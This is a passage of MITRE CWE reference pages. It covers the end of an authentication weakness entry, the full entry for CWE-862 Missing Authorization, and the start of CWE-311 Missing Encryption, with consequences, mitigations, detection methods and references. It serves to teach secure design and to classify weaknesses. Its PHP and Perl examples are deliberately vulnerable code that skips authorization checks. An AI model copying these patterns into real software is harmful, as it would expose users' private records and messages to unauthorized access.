Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 812 OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 952 SFP Secondary Cluster: Missing Authentication
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER No Authentication for Critical Function
Software Fault Patterns SFP31 Missing authentication
ISA/IEC 62443 Part 4-2 Req CR 1.1
ISA/IEC 62443 Part 4-2 Req CR 1.2
ISA/IEC 62443 Part 4-2 Req CR 2.1
ISA/IEC 62443 Part 4-1 Req SR-2
ISA/IEC 62443 Part 4-1 Req SVV-3
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authentication," Page 36. 1st Edition. Addison Wesley. 2006.
[REF-257] Frank Kim. "Top 25 Series - Rank 19 - Missing Authentication for Critical Function". SANS Software Security Institute. 2010-02-23. <https://www.sans.org/blog/top-25-series-rank-19-missing-authentication-for-critical-function/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20. <https://www.wizcase.com/blog/us-municipality-breach-report/>.
[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22. <https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.
[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022. <https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. URL validated: 2023-04-07.
[REF-1298] Microsoft. "Authentication and authorization in Azure App Service and Azure Functions". 2021-11-23. <https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization>. URL validated: 2022-10-11.
[REF-1302] Google Cloud. "Authentication and authorization use cases". 2022-10-11. <https://cloud.google.com/docs/authentication/use-cases>. URL validated: 2022-10-11.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Potential_Mitigations, References
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Type
2020-02-24 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Potential_Mitigations, Time_of_Introduction
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2010-02-16 No Authentication for Critical Function

CWE-862: Missing Authorization

Weakness ID: 862
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Diagram for CWE-862
+ Alternate Terms
AuthZ:
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity

Technical Impact: Modify Application Data; Modify Files or Directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

An attacker could gain unauthorized access to resources on the system and excessively consume those resources, leading to a denial of service.
+ Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 425 Direct Request ('Forced Browsing')
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 638 Not Using Complete Mediation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 939 Improper Authorization in Handler for Custom URL Scheme
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1314 Missing Write Protection for Parametric Data Values
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 425 Direct Request ('Forced Browsing')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)
Example Language: PHP 
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.


Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)
Example Language: Perl 
sub DisplayPrivateMessage {
my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and


# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("invalid username or password");
}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.


+ Observed Examples
Reference Description
Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information
Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
Terminal server does not check authorization for guest access.
System monitoring software allows users to bypass authorization by creating custom forms.
Content management system does not check access permissions for private files, allowing others to view those files.
Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
Database server does not use appropriate privileges for certain sensitive operations.
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
OS kernel does not check for a certain privilege before setting ACLs for files.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862)
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 817 OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Terminology

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 2-1 Req 4.3.3.7
ISA/IEC 62443 Part 3-3 Req SR 2.1
ISA/IEC 62443 Part 4-2 Req CR 2.1
+ References
[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2011-05-24
(CWE 1.13, 2011-06-01)
CWE Content Team MITRE
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2024-02-29
(CWE 4.16, 2024-11-19)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2011-06-27 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2014-02-18 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2017-01-19 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms, Observed_Examples
2021-07-20 CWE Content Team MITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships, Taxonomy_Mappings
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes

CWE-311: Missing Encryption of Sensitive Data

Weakness ID: 311
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not encrypt sensitive or critical information before storage or transmission.
+ Extended Description
The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data

If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.
Confidentiality
Integrity

Technical Impact: Modify Application Data

